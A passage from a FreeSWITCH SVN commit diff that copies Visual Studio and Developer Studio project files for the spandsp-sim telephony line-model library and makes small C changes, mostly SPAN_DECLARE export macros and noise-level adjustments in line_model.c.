+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp_sim.lib"
+				TargetMachine="17"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp_sim.lib"
+				TargetMachine="17"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+<File RelativePath="g1050.c"></File>
+<File RelativePath="line_model.c"></File>
+<File RelativePath="rfc2198_sim.c"></File>
+<File RelativePath="test_utils.c"></File>
+</Filter><Filter  Name="Header Files">
+<File RelativePath="spandsp/g1050.h"></File>
+<File RelativePath="spandsp/line_model.h"></File>
+<File RelativePath="spandsp/line_models.h"></File>
+<File RelativePath="spandsp/rfc2198_sim.h"></File>
+<File RelativePath="spandsp/test_utils.h"></File>
+<File RelativePath="spandsp-sim.h"></File>
+		</Filter>
+
+	</Files>
+
+	<Globals>
+
+	</Globals>
+
+</VisualStudioProject>
+

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.dsp (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/libspandsp_sim.dsp) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.dsp	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,150 @@
+# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=spandsp - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "spandsp - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
+
+!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "spandsp - Win32 Release"
+# Name "spandsp - Win32 Debug"
+# Begin Group "Source Files"
+# Begin Source File
+
+SOURCE=.\g1050.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\line_model.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\rfc2198_sim.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\test_utils.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+# Begin Source File
+
+SOURCE=.\spandsp/g1050.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/line_model.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/line_models.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/rfc2198_sim.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp/test_utils.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\spandsp-sim.h
+# End Source File
+# End Group
+
+
+# Begin Group "Resource Files"
+
+
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+
+# End Group
+
+# End Target
+
+# End Project
+

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/line_model.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/line_model.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/line_model.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: line_model.c,v 1.6 2008/07/02 14:48:25 steveu Exp $
+ * $Id: line_model.c,v 1.12 2009/06/01 16:27:12 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -36,8 +36,6 @@
 #include <time.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <audiofile.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -45,7 +43,9 @@
 #define GEN_CONST
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include "spandsp.h"
 #include "spandsp-sim.h"
 #include "spandsp/g168models.h"
@@ -269,10 +269,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void one_way_line_model(one_way_line_model_state_t *s, 
-                        int16_t output[],
-                        const int16_t input[],
-                        int samples)
+SPAN_DECLARE(void) one_way_line_model(one_way_line_model_state_t *s, 
+                                      int16_t output[],
+                                      const int16_t input[],
+                                      int samples)
 {
     int i;
     float in;
@@ -335,13 +335,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void one_way_line_model_set_dc(one_way_line_model_state_t *s, float dc)
+SPAN_DECLARE(void) one_way_line_model_set_dc(one_way_line_model_state_t *s, float dc)
 {
     s->dc_offset = dc;
 }
 /*- End of function --------------------------------------------------------*/
 
-void one_way_line_model_set_mains_pickup(one_way_line_model_state_t *s, int f, float level)
+SPAN_DECLARE(void) one_way_line_model_set_mains_pickup(one_way_line_model_state_t *s, int f, float level)
 {
     tone_gen_descriptor_t mains_tone_desc;
 
@@ -354,12 +354,12 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void both_ways_line_model(both_ways_line_model_state_t *s, 
-                          int16_t output1[],
-                          const int16_t input1[],
-                          int16_t output2[],
-                          const int16_t input2[],
-                          int samples)
+SPAN_DECLARE(void) both_ways_line_model(both_ways_line_model_state_t *s, 
+                                        int16_t output1[],
+                                        const int16_t input1[],
+                                        int16_t output2[],
+                                        const int16_t input2[],
+                                        int samples)
 {
     int i;
     float in1;
@@ -443,14 +443,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void both_ways_line_model_set_dc(both_ways_line_model_state_t *s, float dc1, float dc2)
+SPAN_DECLARE(void) both_ways_line_model_set_dc(both_ways_line_model_state_t *s, float dc1, float dc2)
 {
     s->line1.dc_offset = dc1;
     s->line2.dc_offset = dc2;
 }
 /*- End of function --------------------------------------------------------*/
 
-void both_ways_line_model_set_mains_pickup(both_ways_line_model_state_t *s, int f, float level1, float level2)
+SPAN_DECLARE(void) both_ways_line_model_set_mains_pickup(both_ways_line_model_state_t *s, int f, float level1, float level2)
 {
     tone_gen_descriptor_t mains_tone_desc;
 
@@ -466,7 +466,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-one_way_line_model_state_t *one_way_line_model_init(int model, float noise, int codec, int rbs_pattern)
+SPAN_DECLARE(one_way_line_model_state_t *) one_way_line_model_init(int model, float noise, int codec, int rbs_pattern)
 {
     one_way_line_model_state_t *s;
 
@@ -485,8 +485,9 @@
     s->far_filter = models[model];
     s->far_filter_len = 129;
 
-    awgn_init_dbm0(&s->near_noise, 1234567, noise);
-    awgn_init_dbm0(&s->far_noise, 1234567, noise);
+    /* Put half the noise in each analogue section */
+    awgn_init_dbm0(&s->near_noise, 1234567, noise - 3.02f);
+    awgn_init_dbm0(&s->far_noise, 1234567, noise - 3.02f);
     
     s->dc_offset = 0.0f;
     s->mains_interference = 0;
@@ -495,19 +496,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int one_way_line_model_release(one_way_line_model_state_t *s)
+SPAN_DECLARE(int) one_way_line_model_release(one_way_line_model_state_t *s)
 {
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-both_ways_line_model_state_t *both_ways_line_model_init(int model1,
-                                                        float noise1,
-                                                        int model2,
-                                                        float noise2,
-                                                        int codec,
-                                                        int rbs_pattern)
+SPAN_DECLARE(both_ways_line_model_state_t *) both_ways_line_model_init(int model1,
+                                                                       float noise1,
+                                                                       int model2,
+                                                                       float noise2,
+                                                                       int codec,
+                                                                       int rbs_pattern)
 {
     float echo_level;
     both_ways_line_model_state_t *s;
@@ -535,11 +536,12 @@
     s->line2.far_filter = models[model2];
     s->line2.far_filter_len = 129;
 
-    awgn_init_dbm0(&s->line1.near_noise, 1234567, noise1);
-    awgn_init_dbm0(&s->line2.near_noise, 7654321, noise2);
+    /* Put half the noise in each analogue section */
+    awgn_init_dbm0(&s->line1.near_noise, 1234567, noise1 - 3.02f);
+    awgn_init_dbm0(&s->line2.near_noise, 7654321, noise2 - 3.02f);
 
-    awgn_init_dbm0(&s->line1.far_noise, 1234567, noise1);
-    awgn_init_dbm0(&s->line2.far_noise, 7654321, noise2);
+    awgn_init_dbm0(&s->line1.far_noise, 1234567, noise1 - 3.02f);
+    awgn_init_dbm0(&s->line2.far_noise, 7654321, noise2 - 3.02f);
 
     s->line1.dc_offset = 0.0f;
     s->line2.dc_offset = 0.0f;
@@ -548,16 +550,16 @@
 
     /* Echos */
     echo_level = -15; /* in dB */
-    s->line1.near_co_hybrid_echo = pow(10, echo_level/20.0);
-    s->line2.near_co_hybrid_echo = pow(10, echo_level/20.0);
-    s->line1.near_cpe_hybrid_echo = pow(10, echo_level/20.0);
-    s->line2.near_cpe_hybrid_echo = pow(10, echo_level/20.0);
+    s->line1.near_co_hybrid_echo = pow(10, echo_level/20.0f);
+    s->line2.near_co_hybrid_echo = pow(10, echo_level/20.0f);
+    s->line1.near_cpe_hybrid_echo = pow(10, echo_level/20.0f);
+    s->line2.near_cpe_hybrid_echo = pow(10, echo_level/20.0f);
     
     return s;
 }
 /*- End of function --------------------------------------------------------*/
 
-int both_ways_line_model_release(both_ways_line_model_state_t *s)
+SPAN_DECLARE(int) both_ways_line_model_release(both_ways_line_model_state_t *s)
 {
     free(s);
     return 0;

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/make_line_models.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/make_line_models.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/make_line_models.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: make_line_models.c,v 1.7 2008/07/25 13:56:54 steveu Exp $
+ * $Id: make_line_models.c,v 1.9 2009/02/10 17:49:20 steveu Exp $
  */
 
 /*! \page make_line_models_page Telephony line model construction
@@ -37,10 +37,11 @@
 #include "config.h"
 #endif
 
+#include <stdlib.h>
+#include <unistd.h>
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include <stdlib.h>
 #include "floating_fudge.h"
 #if defined(HAVE_FFTW3_H)
 #include <fftw3.h>

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc)

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/make_line_models.2008.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/make_line_models.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/make_line_models.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/make_line_models.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/make_line_models.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="make_line_models"
+	ProjectGUID="{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+	RootNamespace="make_line_models"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src;..\..\src\msvc;..\..\src\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot;&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\make_line_models.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.foot

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.foot (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/msvcproj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# End Target
+# End Project

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.head

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.head (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/msvcproj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.head	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/msvcproj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=spandsp - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "spandsp - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
+
+!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "spandsp - Win32 Release"
+# Name "spandsp - Win32 Debug"

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.foot

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.foot (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/vc8proj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.head

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.head (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/vc8proj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.head	                        (rev 0)
